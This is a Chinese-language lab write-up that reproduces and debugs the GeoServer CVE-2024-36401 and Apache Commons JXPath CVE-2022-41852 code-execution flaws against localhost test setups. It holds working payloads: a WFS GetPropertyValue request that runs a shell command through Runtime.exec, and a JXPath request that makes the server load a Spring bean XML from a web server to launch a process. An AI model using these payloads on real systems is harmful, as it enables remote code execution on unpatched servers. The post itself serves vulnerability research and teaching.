GeoServer代码执行漏洞(CVE-2024-36401)
2025-02-22 23:48:07 # Web漏洞复现

配置调试环境

调试漏洞的GeoServer版本号为2.23.2,获取源代码。

1
2
3
git clone https://github.com/geoserver/geoserver #下载
git tag #查看全部的版本
git checkout tags/2.23.2 #切换至2.23.2版本

使用vulhub进行漏洞的远程调试。

1
2
cd ~/vulhub/geoserver/CVE-2024-36401/
docker compose up -d

IntelliJ IDEA打开geoserver的源代码,添加运行Remote JVM Debug,端口默认为5005。

image-20250109204237470

然后对代码进行断点调试。

浅析代码

官方通告

漏洞通告:

https://github.com/geoserver/geoserver/security/advisories/GHSA-6jj6-gm7p-fcvv
GeoTool组件通告:

https://github.com/geotools/geotools/security/advisories/GHSA-w3pj-wh35-fq8w
Jxpath漏洞利用:

https://github.com/Warxim/CVE-2022-41852?tab=readme-ov-file#workaround-for-cve-2022-41852

image-20250109220637144

image-20250109220231306

从官方的通报中可以注意到,若XPath表达式由用户输入提供,则会出现安全问题。存在安全问题的接口为

1
2
3
4
5
6
7
org.geotools.appschema.util.XmlXpathUtilites.getXPathValues(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.countXPathNodes(NamespaceSupport, String, Document)
org.geotools.appschema.util.XmlXpathUtilites.getSingleXPathValue(NamespaceSupport, String, Document)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.get(Object, String, Class<T>)
org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor.set(Object, String, Object, Class)
org.geotools.data.complex.expression.MapPropertyAccessorFactory.new PropertyAccessor() {...}.get(Object, String, Class<T>)
org.geotools.xsd.StreamingParser.StreamingParser(Configuration, InputStream, String)

测试样例:

1
2
3
4
5
new org.geotools.xsd.StreamingParser(
new org.geotools.filter.v1_0.OGCConfiguration(),
new java.io.ByteArrayInputStream("<Filter></Filter>".getBytes()),
"java.lang.Thread.sleep(5000)")
.parse();

漏洞复现

若用户输入的参数,传输到了这些存在漏洞的类中,参数会经过JXPath引擎去进行解析,从而导致代码执行。漏洞本质是JXPath漏洞,JXpath漏洞是Apache Commons JXPath之前爆出的漏洞(CVE-2022-41852),这个JXPath对传统的XPath语句进行了拓展,支持XPath语句中插入一些表达式语言的特性,能够调用任意public的静态方法等导致任意代码执行。

官网给出的可能存在漏洞的请求

1
2
3
4
5
6
WFS GetFeature
WFS GetPropertyValue
WMS GetMap
WMS GetFeatureInfo
WMS GetLegendGraphic
WPS Execut

查询官网

https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html

WFS GetPropertyValue请求如下:

image-20250109222248139

GET请求即可触发漏洞:

1
http://localhost:8080/geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames=sf:archsites&valueReference=exec(java.lang.Runtime.getRuntime(),%27touch%20/tmp/success2%27)

image-20250109222510886

定位漏洞

由前面可知,GetPropertyValue是我们要定位的位置,找到类的位置。

image-20250109223053220

对run方法进行断点,进行单步调试,定位到代码propertyNameNoIndexes.evaluate处,这里调用了geotool的evaluate方法,跟进

image-20250109223804405

发现org.geotools.filter.AttributeExpressionImpl#evaluate(java.lang.Object, java.lang.Class)中调用了accessor.get,再跟进

image-20250109225119903

这里调用了存在漏洞的org.geotools.data.complex.expression.FeaturePropertyAccessorFactory.FeaturePropertyAccessor#get触发了漏洞。

image-20250109225403954

CVE-2022-41852 XPath漏洞

漏洞描述

Apache Commons JXPath安全漏洞,攻击者可以利用除compile()和compilePath()函数之外的所有处理XPath字符串的JXPathContext等函数通过XPath表达式从类路径加载任何Java类,从而执行恶意代码。

JXPath及用法:

https://commons.apache.org/proper/commons-jxpath/users-guide.html

利用范围

Apache Commons JXPath <= 1.3

漏洞复现

下载POC:https://github.com/Warxim/CVE-2022-41852

POC使用Spring框架,简单实现接受用户输入并使用它从Person类中检索指定的数据。

image-20250110115215618

启动Spring,在本地创建一个test.xml,如下:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="commandRunner" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>open</value>
<value>-a</value>
<value>Calculator</value>
</list>
</constructor-arg>
</bean>
</beans>

本地再开启一个80端口,用于远程加载test.xml

1
python3 -m http.server 80

Payload:

1
http://127.0.0.1:8080/vulnerable-example?path=org.springframework.context.support.ClassPathXmlApplicationContext.new(%22http://127.0.0.1/test.xml%22)

开启调试,断点,调用了org.apache.commons.jxpath.JXPathContext#getValue(java.lang.String)方法,跟进

image-20250110130016519

跟进org.apache.commons.jxpath.ri.compiler.Expression#computeValue

image-20250110130144114

继续跟进到org.apache.commons.jxpath.Function#invoke函数中,实现了Spring-Bean加载,执行恶意代码。

image-20250110130533234

image-20250110131339598

参考

CVE-2024-36401参考:

https://github.com/vulhub/vulhub/blob/master/geoserver/CVE-2024-36401/README.zh-cn.md

https://www.bilibili.com/video/BV1bb421n7M2/?share_source=copy_web&vd_source=40fffae7c3c0198962dc9cf9689a1a8a

https://xz.aliyun.com/t/14991

CVE-2022-41852参考:

https://www.anquanke.com/post/id/281941

https://github.com/Warxim/CVE-2022-41852